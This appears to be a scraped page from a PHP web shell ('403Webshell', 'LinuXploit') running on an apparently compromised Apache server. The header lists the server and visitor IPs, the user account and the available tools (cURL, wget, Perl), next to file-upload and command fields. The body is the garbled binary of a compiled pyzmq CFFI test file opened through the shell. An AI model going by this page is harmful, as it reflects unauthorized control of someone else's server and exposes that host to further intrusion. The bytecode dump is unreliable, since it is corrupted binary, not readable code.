403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/zmq/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zmq/tests/__pycache__/test_cffi_backend.cpython-311.pyc
�

mc�c�"���ddlZddlmZddlmZ	ddlmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZdZn
#e$rdZYnwxYwGd�d	e��ZdS)
�N)�TestCase)�SkipTest)�IDENTITY�POLLIN�POLLOUT�PULL�PUSH�REP�REQ�zmq_version_info)�C�ffiTFc�h�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�ZdS)�TestCFFIBackendc�2�tstd���dS)NzCFFI not available)�have_ffi_backendr)�selfs �=/usr/lib/python3/dist-packages/zmq/tests/test_cffi_backend.py�setUpzTestCFFIBackend.setUps#���	1��/�0�0�0�	1�	1�c�V�t��}|dtdd��vsJ�dS)Nr��)r�range)r�versions  r�test_zmq_version_infoz%TestCFFIBackend.test_zmq_version_infos0��"�$�$���q�z�U�1�b�\�\�)�)�)�)�)�)rc��tj��}|tjksJ�dtj|��ksJ�dS�Nr)r
�zmq_ctx_newr�NULL�zmq_ctx_destroy)r�ctxs  r�test_zmq_ctx_new_destroyz(TestCFFIBackend.test_zmq_ctx_new_destroy"s>���m�o�o���c�h������A�%�c�*�*�*�*�*�*�*�*rc��tj��}tj|t��}|tjksJ�tj|ksJ�dtj|��ksJ�dtj|��ksJ�dSr)r
r�
zmq_socketr	rr �	zmq_closer!�rr"�sockets   r�test_zmq_socket_open_closez*TestCFFIBackend.test_zmq_socket_open_close(s}���m�o�o����c�4�(�(���c�h������x�6�!�!�!�!��A�K��'�'�'�'�'�'��A�%�c�*�*�*�*�*�*�*�*rc��tj��}tj|t��}t	jdd��}tj|tt	jd|��d��}|dksJ�|tj	ksJ�tj	|ksJ�dtj
|��ksJ�dtj|��ksJ�dS)N�char[3]�zmq�void*�r)r
rr%r	r�new�zmq_setsockoptr�castr r&r!)rr"r(�identity�rets     r�test_zmq_setsockoptz#TestCFFIBackend.test_zmq_setsockopt1s����m�o�o����c�4�(�(���7�9�f�-�-����v�x���'�8�1L�1L�a�P�P���a�x�x�x�x��c�h������x�6�!�!�!�!��A�K��'�'�'�'�'�'��A�%�c�*�*�*�*�*�*�*�*rc��tj��}tj|t��}t	jdd��}tj|tt	jd|��d��}|dksJ�t	jdd��}t	jd��}tj	|tt	jd|��|��}|dksJ�t	j
t	jd|����dd	�d
ksJ�t	j
t	jd|����d	d�dksJ�t	j
t	jd|����dd�d
ksJ�|tjksJ�tj|ksJ�dtj|��ksJ�dtj
|��ksJ�dS)N�char[]r,r-r.rzsize_t*r+�char*��zr�m�q)r
rr%r	rr/r0rr1�zmq_getsockopt�stringr r&r!)rr"r(r2r3�
option_len�options       r�test_zmq_getsockoptz#TestCFFIBackend.test_zmq_getsockopt>s����m�o�o����c�4�(�(���7�8�V�,�,����v�x���'�8�1L�1L�a�P�P���a�x�x�x�x��W�Y��*�*�
����#�#����v�x���'�6�1J�1J�J�W�W���a�x�x�x�x��z�#�(�7�F�3�3�4�4�Q�q�S�9�T�A�A�A�A��z�#�(�7�F�3�3�4�4�Q�q�S�9�T�A�A�A�A��z�#�(�7�F�3�3�4�4�Q�q�S�9�T�A�A�A�A��c�h������x�6�!�!�!�!��A�K��'�'�'�'�'�'��A�%�c�*�*�*�*�*�*�*�*rc�<�tj��}tj|d��}dtj|d��ksJ�|tjksJ�tj|ksJ�dtj|��ksJ�dtj|��ksJ�dS)N�r�tcp://*:4444)r
rr%�zmq_bindrr r&r!r's   r�
test_zmq_bindzTestCFFIBackend.test_zmq_bindSs����m�o�o����c�1�%�%���A�J�v��7�7�7�7�7�7��c�h������x�6�!�!�!�!��A�K��'�'�'�'�'�'��A�%�c�*�*�*�*�*�*�*�*rc��tj��}tj|t��}tj|t��}dtj|d��ksJ�dtj|d��ksJ�|tjksJ�tj|ksJ�tj|ksJ�dtj	|��ksJ�dtj	|��ksJ�dtj
|��ksJ�dS)NrrCstcp://127.0.0.1:4444)r
rr%r	rrD�zmq_connectrr r&r!)rr"�socket1�socket2s    r�test_zmq_bind_connectz%TestCFFIBackend.test_zmq_bind_connect]s����m�o�o���,�s�D�)�)���,�s�D�)�)���A�J�w��8�8�8�8�8�8��A�M�'�+B�C�C�C�C�C�C��c�h������x�7�"�"�"�"��x�7�"�"�"�"��A�K��(�(�(�(�(�(��A�K��(�(�(�(�(�(��A�%�c�*�*�*�*�*�*�*�*rc��tjd��}tj|ksJ�dtj|��ksJ�dtj|��ksJ�dS)N�
zmq_msg_t*r)rr/r r
�zmq_msg_init�
zmq_msg_close�r�zmq_msgs  r�test_zmq_msg_init_closez'TestCFFIBackend.test_zmq_msg_init_closels`���'�,�'�'���x�7�"�"�"�"��A�N�7�+�+�+�+�+�+��A�O�G�,�,�,�,�,�,�,�,rc��tjd��}tj|ksJ�dtj|d��ksJ�dtj|��ksJ�dS)NrLr�
)rr/r r
�zmq_msg_init_sizerNrOs  r�test_zmq_msg_init_sizez&TestCFFIBackend.test_zmq_msg_init_sizessc���'�,�'�'���x�7�"�"�"�"��A�'���4�4�4�4�4�4��A�O�G�,�,�,�,�,�,�,�,rc�:�tjd��}tjdd��}dtj|tjd|��dtjtj��ksJ�tj|ksJ�dtj|��ksJ�dS)NrL�char[5]�Hellorr-�)rr/r
�zmq_msg_init_datar1r rN)rrP�messages   r�test_zmq_msg_init_dataz&TestCFFIBackend.test_zmq_msg_init_datazs����'�,�'�'���'�)�X�.�.���A�'��S�X�g�w�/�/��C�H�c�h�
�
�
�
�
�
��x�7�"�"�"�"��A�O�G�,�,�,�,�,�,�,�,rc��tjd��}tjdd��}dtj|tjd|��dtjtj��ksJ�tj|��}tj|ksJ�tjtjd|����dksJ�dtj|��ksJ�dS)NrLr6rXrr-rYr7)	rr/r
rZr1r �zmq_msg_datar=rN)rrPr[�datas    r�test_zmq_msg_dataz!TestCFFIBackend.test_zmq_msg_data�s����'�,�'�'���'�(�H�-�-���A�'��S�X�g�w�/�/��C�H�c�h�
�
�
�
�
�
��~�g�&�&���x�7�"�"�"�"��z�#�(�7�D�1�1�2�2�h�>�>�>�>��A�O�G�,�,�,�,�,�,�,�,rc�&�tj��}tj|t��}tj|t��}dtj|d��ksJ�dtj|d��ksJ�tjd��tj
d��}tj
dd��}tj|tjd|��tjd	d
��tj
tj
��d
tj||d��ksJ�dtj|��ksJ�tj|��dksJ�tj|��dksJ�tj|��dksJ�dS)Nrstcp://*:7777stcp://127.0.0.1:7777皙�����?rLrWrXr-�size_trY)r
rr%rr
rDrG�time�sleeprr/rZr1r �zmq_msg_sendrNr&r!)rr"�sender�receiverrPr[s      r�
test_zmq_sendzTestCFFIBackend.test_zmq_send�sk���m�o�o����c�3�'�'���<��S�)�)���A�J�x��9�9�9�9�9�9��A�M�&�*A�B�B�B�B�B�B��
�3�����'�,�'�'���'�)�X�.�.��	����H�W�g�&�&��H�X�q�!�!��H��H�	
�	
�	
��A�N�7�F�A�6�6�6�6�6�6��A�O�G�,�,�,�,�,�,��{�6�"�"�a�'�'�'�'��{�8�$�$��)�)�)�)�� ��%�%��*�*�*�*�*�*rc�<�tj��}tj|t��}tj|t��}dtj|d��ksJ�dtj|d��ksJ�tjd��tj
d��}tj
dd��}tj|tjd|��tjd	d
��tj
tj
��tj
d��}tj|��d
tj||d��ksJ�d
tj||d��ksJ�d
tj|��ksJ�dtjtj|��tj|����dd�ksJ�tj|��dksJ�tj|��dksJ�tj|��dksJ�dS)Nrstcp://*:2222stcp://127.0.0.1:2222rbrLrWrXr-rcrY)r
rr%rr
rDrGrdrerr/rZr1r rMrf�zmq_msg_recv�zmq_msg_size�bufferr^r&r!)rr"rgrhrPr[�zmq_msg2s       r�
test_zmq_recvzTestCFFIBackend.test_zmq_recv�s����m�o�o����c�3�'�'���<��S�)�)���A�J�x��9�9�9�9�9�9��A�M�&�*A�B�B�B�B�B�B��
�3�����'�,�'�'���'�)�X�.�.��	����H�W�g�&�&��H�X�q�!�!��H��H�	
�	
�	
��7�<�(�(��	��x� � � ��A�N�7�F�A�6�6�6�6�6�6��A�N�8�X�q�9�9�9�9�9�9��A�N�8�,�,�,�,�,�,���z�!�.��2�2�A�N�8�4L�4L�M�M�a�a�a�P�
Q�
Q�
Q�
Q��{�6�"�"�a�'�'�'�'��{�8�$�$��)�)�)�)�� ��%�%��*�*�*�*�*�*rc	�
�tj��}tj|t��}tj|t��}tj|d��}tj|d��}tjd��}tjdd��}tj	|tj
d|��tj
dd��tjtj��tjd	��}||_d
|_
ttz|_d
|_tjtjd
d
��}	|	d
ksJ�tj|dd
��}	|	d
ksJ�tj||d
��}	t)tjtjtj��������|	dksJ�t1jd��tj|dd
��}	|	dksJ�t5|j��tzsJ�t5|j��tzrJ�tjd��}
tj|
��tj|
|d
��}|dksJ�dtj|
��ksJ�dtjtj|
��tj|
����dd�ksJ�tjd	��}||_d
|_
ttz|_d
|_tj|dd
��}	|	d
ksJ�tjd��}
tjd
d��}tj	|
tj
d|��tj
dd��tjtj��dtj|
|d
��ksJ�t1jd��d
tj|dd
��ksJ�t5|j��tzsJ�dtj|
|d
��ksJ�dtj|
��ksJ�dtjtj|
��t5tj|
������dd�ksJ�d
tj |��ksJ�d
tj |��ksJ�d
tj!|��ksJ�d
tj"|��ksJ�d
tj"|
��ksJ�d
tj"|
��ksJ�dS)Nstcp://*:3333stcp://127.0.0.1:3333rLrWrXr-rcrYzzmq_pollitem_t*rr8g�������?zchar[11]sHello Againr)#r
rr%rr
rDrGrr/rZr1r r(�fdrr�events�revents�zmq_pollrf�printr=�zmq_strerror�	zmq_errnordre�intrMrkrlrmr^r&r!rN)rr"rgrh�r1�r2rPr[�receiver_pollitemr3rn�ret_recv�sender_pollitem�
zmq_msg_again�
message_agains               r�
test_zmq_pollzTestCFFIBackend.test_zmq_poll�s����m�o�o����c�3�'�'���<��S�)�)��
�Z��/�
2�
2��
�]�6�#:�
;�
;���'�,�'�'���'�)�X�.�.��	����H�W�g�&�&��H�X�q�!�!��H��H�	
�	
�	
� �G�$5�6�6��#+�� � ���#)�G�#3�� �$%��!��j���1�a�(�(���a�x�x�x�x��j�*�A�q�1�1���a�x�x�x�x��n�W�f�a�0�0��
�c�j�����
�
�6�6�7�7�8�8�8��a�x�x�x�x��
�3�����j�*�A�q�1�1���a�x�x�x�x��$�,�-�-��6�6�6�6��(�0�1�1�G�;�;�;�;��7�<�(�(��	��x� � � ��>�(�H�a�8�8���1�}�}�}�}��A�N�8�,�,�,�,�,�,���z�!�.��2�2�A�N�8�4L�4L�M�M�a�a�a�P�
Q�
Q�
Q�
Q��'�"3�4�4��!'������!'�'�!1���"#����j��!�Q�/�/���a�x�x�x�x����-�-�
���
�N�;�;�
�	����H�W�m�,�,��H�X�r�"�"��H��H�	
�	
�	
��Q�^�M�8�Q�?�?�?�?�?�?��
�3�����A�J���1�5�5�5�5�5�5��?�*�+�+�f�4�4�4�4��Q�^�H�f�a�8�8�8�8�8�8��Q�^�H�-�-�-�-�-�-���z�!�.��2�2�C���x�8P�8P�4Q�4Q�R�R�ST�ST�ST�U�
V�
V�
V�
V��A�K��'�'�'�'�'�'��A�K��)�)�)�)�)�)��A�%�c�*�*�*�*�*�*��A�O�G�,�,�,�,�,�,��A�O�H�-�-�-�-�-�-��A�O�M�2�2�2�2�2�2�2�2rN)�__name__�
__module__�__qualname__rrr#r)r4r@rErJrQrUr\r`riror��rrrrs�������1�1�1�*�*�*�
+�+�+�+�+�+�+�+�+�+�+�+�*+�+�+�
+�
+�
+�-�-�-�-�-�-�	-�	-�	-�-�-�-�+�+�+�8"+�"+�"+�H]3�]3�]3�]3�]3rr)rd�unittestr�	zmq.testsr�zmq.backend.cffirrrrr	r
rr�zmq.backend.cffi._cffir
rr�ImportErrorrr�rr�<module>r�s#�������������������	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�.�-�-�-�-�-�-�-�����������������W3�W3�W3�W3�W3�h�W3�W3�W3�W3�W3s�1�;�;

Youez - 2016 - github.com/yon3zu
LinuXploit